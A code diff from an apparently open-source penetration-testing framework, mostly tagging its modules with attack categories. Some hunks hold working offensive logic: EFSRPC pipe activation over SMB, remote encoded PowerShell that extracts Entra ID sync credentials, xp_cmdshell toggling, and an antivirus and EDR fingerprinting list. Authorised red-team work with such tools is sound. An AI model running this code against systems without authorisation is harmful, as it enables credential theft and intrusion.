description = "Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
|
||||
description = "[REMOVED] Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
|
||||
supported_protocols = ["smb"]
|
||||
excluded_shares = ["SYSVOL"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context: Context, module_options: dict[str, str]):
|
||||
"""
|
||||
@@ -35,76 +15,6 @@ class NXCModule:
|
||||
SHARE_NAME If set, ONLY this share will be used
|
||||
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
|
||||
"""
|
||||
self.file_name = module_options.get("FILE_NAME", ntpath.normpath("\\" + gen_random_string() + ".txt"))
|
||||
self.share_name = module_options.get("SHARE_NAME")
|
||||
if module_options.get("EXCLUDED_SHARES"):
|
||||
self.excluded_shares += module_options.get("EXCLUDED_SHARES", "").split(",")
|
||||
|
||||
def on_login(self, context: Context, connection):
|
||||
conn: SMBConnection = connection.conn # Because typing is broken due to smb being a folder and a file >:(
|
||||
|
||||
try:
|
||||
shares = conn.listShares()
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
context.log.fail(f"Error enumerating shares: {error}", color="magenta")
|
||||
return
|
||||
|
||||
# Check if named pipe is already available
|
||||
try:
|
||||
named_pipe_names = [f.get_shortname() for f in conn.listPath("IPC$", "*")]
|
||||
if "efsrpc" in named_pipe_names:
|
||||
context.log.highlight("efsrpc named pipe is already available!")
|
||||
# if it is already activated we just skip this computer
|
||||
return
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
context.log.fail(f"Error enumerating named pipes: {error}", color="magenta")
|
||||
return
|
||||
|
||||
# Write an encrypted file on the share root.
|
||||
# This will likely fail with STATUS_ACCESS_DENIED if we do not have the permission to create encrypted files,
|
||||
# but this does not matter as the service will be activated nevertheless if we have WRITE or MODIFY access
|
||||
for share in shares:
|
||||
share_name = share["shi1_netname"][:-1]
|
||||
if self.share_name is not None and self.share_name != share_name:
|
||||
continue
|
||||
|
||||
if share_name in self.excluded_shares:
|
||||
continue
|
||||
|
||||
try:
|
||||
context.log.debug(f"Connecting to share {share_name}...")
|
||||
tid = conn.connectTree(share_name)
|
||||
except SessionError as e:
|
||||
context.log.debug(f"Could not connect to share {share_name}: {e}")
|
||||
continue
|
||||
try:
|
||||
context.log.debug(f"Creating file in {share_name}...")
|
||||
fid = conn.createFile(tid, self.file_name,
|
||||
desiredAccess=FILE_SHARE_WRITE,
|
||||
shareMode=FILE_SHARE_DELETE,
|
||||
fileAttributes=FILE_ATTRIBUTE_ENCRYPTED)
|
||||
conn.closeFile(tid, fid)
|
||||
try:
|
||||
# this can happen when we have special permissions to create encrypted files
|
||||
conn.deleteFile(share_name, self.file_name)
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
|
||||
pass
|
||||
context.log.fail(f"Error DELETING created temp file {self.file_name} on share {share_name}: {error}")
|
||||
except SessionError as e:
|
||||
context.log.debug(f"Error writing encrypted file on share {share_name}: {get_error_string(e)} (This does not necessarily mean that the attack failed!)")
|
||||
|
||||
try:
|
||||
tid = conn.connectTree("IPC$")
|
||||
conn.waitNamedPipe(tid, "efsrpc", 10)
|
||||
context.log.highlight("Successfully activated efsrpc named pipe!")
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
|
||||
context.log.debug("efsrpc pipe was not activated.")
|
||||
else:
|
||||
context.log.fail(f"Error waiting for named pipe: {error}", color="magenta")
|
||||
return
|
||||
context.log.fail('[REMOVED] This module has been made obsolete and EFS will be activated automatically by "coerce_plus"')
|
||||
@@ -1,6 +1,7 @@
|
||||
import sys
|
||||
import requests
|
||||
from requests import ConnectionError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -12,6 +13,7 @@ class NXCModule:
|
||||
name = "empire_exec"
|
||||
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -1,3 +1,6 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enables or disables xp_cmdshell in MSSQL Server.
|
||||
@@ -7,6 +10,7 @@ class NXCModule:
|
||||
name = "enable_cmdshell"
|
||||
description = "Enable or disable xp_cmdshell in MSSQL Server"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
@@ -42,8 +46,7 @@ class NXCModule:
|
||||
|
||||
def backup_show_advanced_options(self):
|
||||
"""Backs up the current state of 'show advanced options'."""
|
||||
query = "SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'"
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
res = self.mssql_conn.sql_query("SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'")
|
||||
if res:
|
||||
self.advanced_options_backup = int(res[0]["value"]) # Convert to integer
|
||||
|
||||
@@ -55,6 +58,7 @@ class NXCModule:
|
||||
def toggle_xp_cmdshell(self, enable: bool):
|
||||
"""Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
|
||||
state = "1" if enable else "0"
|
||||
action_text = "enabled" if enable else "disabled"
|
||||
|
||||
# Backup 'show advanced options' state
|
||||
self.backup_show_advanced_options()
|
||||
@@ -65,8 +69,10 @@ class NXCModule:
|
||||
try:
|
||||
# Enable or disable xp_cmdshell
|
||||
self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
|
||||
action_text = "enabled" if enable else "disabled"
|
||||
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
|
||||
if self.mssql_conn.lastError:
|
||||
self.context.log.fail(f"Failed to {action_text[:-1]} xp_cmdshell: {self.mssql_conn.lastError}")
|
||||
else:
|
||||
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to execute command: {e}")
|
||||
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
import re
|
||||
|
||||
from termcolor import colored
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.config import host_info_colors
|
||||
|
||||
@@ -12,6 +13,7 @@ class NXCModule:
|
||||
name = "entra-id"
|
||||
description = "Find the Entra ID sync server"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
|
||||
@@ -1,49 +0,0 @@
|
||||
|
||||
from base64 import b64encode
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Example:
|
||||
-------
|
||||
Module by @NeffIsBack
|
||||
"""
|
||||
|
||||
name = "entra-sync-creds"
|
||||
description = "Extract Entra ID sync credentials from the target host"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
self.entra_id_psscript = ""
|
||||
|
||||
with open(get_ps_script("entra-sync-creds/entra-sync-creds.ps1")) as psFile:
|
||||
for line in psFile:
|
||||
if line.startswith("#") or line.strip() == "":
|
||||
continue
|
||||
else:
|
||||
self.entra_id_psscript += line.strip() + "\n"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No module options available."""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
|
||||
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
|
||||
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
|
||||
|
||||
if "CLIXML" in out:
|
||||
out = out.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
|
||||
for line in out.splitlines():
|
||||
if not line.strip():
|
||||
continue
|
||||
if "[!]" in line:
|
||||
self.context.log.fail(line.replace("[!]", "").strip())
|
||||
else:
|
||||
self.context.log.highlight(line.strip())
|
||||
+70
-1
@@ -7,6 +7,7 @@ from impacket.dcerpc.v5 import lsat, lsad, transport
|
||||
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
import pathlib
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -18,6 +19,7 @@ class NXCModule:
|
||||
name = "enum_av"
|
||||
description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -262,6 +264,17 @@ conf = {
|
||||
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Check Point Endpoint Security",
|
||||
"services": [
|
||||
{"name": "CPDA", "description": "Check Point Endpoint Agent"},
|
||||
{"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
|
||||
{"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
|
||||
{"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
|
||||
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "ESET",
|
||||
"services": [
|
||||
@@ -276,6 +289,24 @@ conf = {
|
||||
],
|
||||
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
|
||||
},
|
||||
{
|
||||
"name": "FortiClient",
|
||||
"services": [
|
||||
{"name": "FA_Scheduler", "description": "FortiClient Service Scheduler"},
|
||||
{"name": "FCT_SecSvr", "description": "Forticlient Endpoint Protected Process Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "FortiClient_DBLogDaemon", "processes": ["FCDBLog.exe"]},
|
||||
{"name": "FC_*", "processes": ["FortiTray.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "FortiEDR",
|
||||
"services": [
|
||||
{"name": "FortiEDR Collector Service", "description": "Host component of the Fortinet Endpoint Detection and Response Platform"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "G DATA Security Client",
|
||||
"services": [
|
||||
@@ -295,6 +326,17 @@ conf = {
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Kaseya Agent Endpoint",
|
||||
"services": [
|
||||
{"name": "KAENDKSAASC*", "description": "Virtual System Administrator Endpoint"},
|
||||
{"name": "KAKSAASC*", "description": "Machine.Group ID:*"},
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "kaseyaUserKSA*", "processes": ["KaUsrTsk.exe"]},
|
||||
{"name": "kaseyaAgentKSA*", "processes": ["AgentMon.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Kaspersky Security for Windows Server",
|
||||
"services": [
|
||||
@@ -307,6 +349,18 @@ conf = {
|
||||
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Malwarebytes",
|
||||
"services": [
|
||||
{"name": "MBAMService", "description": "Malwarebytes Service"},
|
||||
{"name": "MBEndpointAgent", "description": "Malwarebytes Cloud Endpoint Agent Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "MBLG", "processes": ["MBAMService.exe"]},
|
||||
{"name": "MBEA2_R", "processes": ["MBCloudEA.exe"]},
|
||||
{"name": "MBEA2_W", "processes": ["MBCloudEA.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Panda Adaptive Defense 360",
|
||||
"services": [
|
||||
@@ -376,7 +430,7 @@ conf = {
|
||||
{"name": "masvc", "description": "Trellix Agent Service"},
|
||||
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
|
||||
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
|
||||
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
|
||||
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
|
||||
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
|
||||
],
|
||||
"pipes": [
|
||||
@@ -416,6 +470,21 @@ conf = {
|
||||
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "WithSecure Elements",
|
||||
"services": [
|
||||
{"name": "fsdevcon", "description": "WithSecure Device Control"},
|
||||
{"name": "fshoster", "description": "WithSecure Hoster"},
|
||||
{"name": "fsnethoster", "description": "WithSecure Hoster (Restricted)"},
|
||||
{"name": "fsulhoster", "description": "WithSecure Ultralight Hoster"},
|
||||
{"name": "fsulnethoster", "description": "WithSecure Ultralight Network Hoster"},
|
||||
{"name": "fsulprothoster", "description": "WithSecure Ultralight Protected Hoster"},
|
||||
{"name": "wsulavprohoster", "description": "WithSecure Ultralight Protected AV Hoster"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -6,6 +6,7 @@ from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket import uuid
|
||||
import requests
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -23,14 +24,15 @@ class NXCModule:
|
||||
|
||||
name = "enum_ca"
|
||||
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
|
||||
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.__username = connection.username
|
||||
@@ -78,7 +80,8 @@ class NXCModule:
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
|
||||
context.log.fail("This usually means the target does not allow "
|
||||
"to connect to its epmapper using RpcProxy.")
|
||||
return
|
||||
return
|
||||
|
||||
for entry in entries:
|
||||
tmpUUID = str(entry["tower"]["Floors"][0])
|
||||
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -12,6 +13,7 @@ class NXCModule:
|
||||
name = "enum_dns"
|
||||
description = "Uses WMI to dump DNS from an AD DNS Server"
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
@@ -1,3 +1,6 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server users with impersonation rights
|
||||
@@ -7,6 +10,7 @@ class NXCModule:
|
||||
name = "enum_impersonate"
|
||||
description = "Enumerate users with impersonation privileges"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import contextlib
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
|
||||
Formerly --interfaces parameter
|
||||
Made by: @Sant0rryu, @NeffIsBack
|
||||
"""
|
||||
|
||||
name = "enum_interfaces"
|
||||
description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = {}
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
"""Execute network interface enumeration on authenticated SMB connection"""
|
||||
self.context = context
|
||||
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
|
||||
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
|
||||
|
||||
context.log.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
|
||||
for sub_key in sub_keys:
|
||||
interface = {}
|
||||
try:
|
||||
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
|
||||
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
|
||||
|
||||
# Retrieve Interace Name
|
||||
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
|
||||
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
|
||||
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
|
||||
interface["Name"] = str(interface_name)
|
||||
if "Kernel" in interface_name:
|
||||
continue
|
||||
|
||||
# Retrieve DHCP
|
||||
try:
|
||||
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
|
||||
except DCERPCException:
|
||||
dhcp_enabled = False
|
||||
interface["DHCP"] = bool(dhcp_enabled)
|
||||
|
||||
# Retrieve IPAddress
|
||||
try:
|
||||
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
ip_address = None
|
||||
interface["IPAddress"] = ip_address if ip_address else None
|
||||
|
||||
# Retrieve SubnetMask
|
||||
try:
|
||||
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
subnetmask = None
|
||||
interface["SubnetMask"] = subnetmask if subnetmask else None
|
||||
|
||||
# Retrieve DefaultGateway
|
||||
try:
|
||||
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
default_gateway = None
|
||||
interface["DefaultGateway"] = default_gateway if default_gateway else None
|
||||
|
||||
context.log.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
|
||||
|
||||
except DCERPCException as e:
|
||||
context.log.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
remoteOps.finish()
|
||||
except DCERPCException as e:
|
||||
context.log.error(f"Failed to connect to the target: {e!s}")
|
||||
@@ -1,3 +1,6 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server linked servers
|
||||
@@ -7,6 +10,7 @@ class NXCModule:
|
||||
name = "enum_links"
|
||||
description = "Enumerate linked SQL Servers and their login configurations."
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
@@ -25,7 +29,7 @@ class NXCModule:
|
||||
self.context.log.display(f" - {server}")
|
||||
else:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
|
||||
|
||||
if connection.admin_privs:
|
||||
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
|
||||
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
|
||||
|
||||
@@ -1,3 +1,6 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server logins (SQL, Domain, Local users)
|
||||
@@ -7,6 +10,7 @@ class NXCModule:
|
||||
name = "enum_logins"
|
||||
description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
@@ -42,14 +46,14 @@ class NXCModule:
|
||||
domain_prefix = f"{domain_name}\\" if domain_name else ""
|
||||
|
||||
query = f"""
|
||||
SELECT
|
||||
SELECT
|
||||
name,
|
||||
type,
|
||||
type_desc,
|
||||
CASE type_desc
|
||||
CASE type_desc
|
||||
WHEN 'SQL_LOGIN' THEN 'SQL User'
|
||||
WHEN 'WINDOWS_LOGIN' THEN
|
||||
CASE
|
||||
WHEN 'WINDOWS_LOGIN' THEN
|
||||
CASE
|
||||
WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
|
||||
WHEN name LIKE '%\\%' THEN 'Local User'
|
||||
ELSE 'Local User'
|
||||
@@ -61,7 +65,7 @@ class NXCModule:
|
||||
END as login_type,
|
||||
is_disabled,
|
||||
create_date
|
||||
FROM sys.server_principals
|
||||
FROM sys.server_principals
|
||||
WHERE type IN ('S', 'U', 'G', 'C', 'K')
|
||||
AND name NOT LIKE '##%'
|
||||
ORDER BY login_type, name;
|
||||
|
||||
@@ -1,4 +1,6 @@
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -9,6 +11,7 @@ class NXCModule:
|
||||
name = "enum_trusts"
|
||||
description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
@@ -3,6 +3,7 @@ from impacket.dcerpc.v5 import transport, even6
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5.epm import hept_map
|
||||
from nxc.helpers.even6_parser import ResultSet
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -12,7 +13,8 @@ class NXCModule:
|
||||
"""
|
||||
name = "eventlog_creds"
|
||||
description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
|
||||
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
@@ -21,7 +23,7 @@ class NXCModule:
|
||||
self.limit = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
METHOD EventLog method (Execute or RPCCALL), default: execute
|
||||
M Alias for METHOD
|
||||
LIMIT Limit of the number of records to be fetched, default: unlimited
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -9,6 +11,7 @@ class NXCModule:
|
||||
name = "example module"
|
||||
description = "I do something"
|
||||
supported_protocols = [] # Example: ['smb', 'mssql']
|
||||
category = CATEGORY.ENUMERATION # Must be one of "Enumeration", "Privilege Escalation" or "Credential Dumping". Use what fits best.
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
@@ -18,6 +21,7 @@ class NXCModule:
|
||||
"""Required.
|
||||
Module options get parsed here. Additionally, put the modules usage here as well
|
||||
"""
|
||||
# Put "No options available" in the docstring if there are no options for the module
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent.
|
||||
|
||||
@@ -1,3 +1,6 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Execute commands on linked servers
|
||||
@@ -7,6 +10,7 @@ class NXCModule:
|
||||
name = "exec_on_link"
|
||||
description = "Execute commands on a SQL Server linked server"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from impacket.ldap.ldapasn1 import SearchResultEntry
|
||||
@@ -15,6 +16,7 @@ class NXCModule:
|
||||
name = "find-computer"
|
||||
description = "Finds computers in the domain via the provided text"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
from dploot.lib.target import Target
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
|
||||
|
||||
@@ -12,6 +13,7 @@ class NXCModule:
|
||||
name = "firefox"
|
||||
description = "[REMOVED] Dump credentials from Firefox"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
import re
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -11,8 +12,9 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
name = "get-desc-users"
|
||||
description = "Get description of the users. May contained password"
|
||||
description = "Get description of the users. May contain password"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
@@ -9,6 +10,7 @@ class NXCModule:
|
||||
name = "get-info-users"
|
||||
description = "Get the info field of all users. May contain password"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""FILTER Apply the FILTER (grep-like) (default: '')"""
|
||||
@@ -41,4 +43,3 @@ class NXCModule:
|
||||
# Filter
|
||||
context.log.debug(f"Filter info field with: {self.FILTER}")
|
||||
return [answer for answer in answers if self.FILTER in answer[1]]
|
||||
|
||||
@@ -10,6 +10,7 @@ from struct import unpack
|
||||
from impacket.structure import Structure
|
||||
from ldap3 import LEVEL
|
||||
from os.path import expanduser
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -68,6 +69,7 @@ class NXCModule:
|
||||
name = "get-network"
|
||||
description = "Query all DNS records with the corresponding IP from the domain."
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -81,12 +83,12 @@ class NXCModule:
|
||||
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
|
||||
self.showall = True
|
||||
else:
|
||||
print("Could not parse ALL option.")
|
||||
context.log.display("Could not parse ALL option.")
|
||||
if module_options and "ONLY_HOSTS" in module_options:
|
||||
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
|
||||
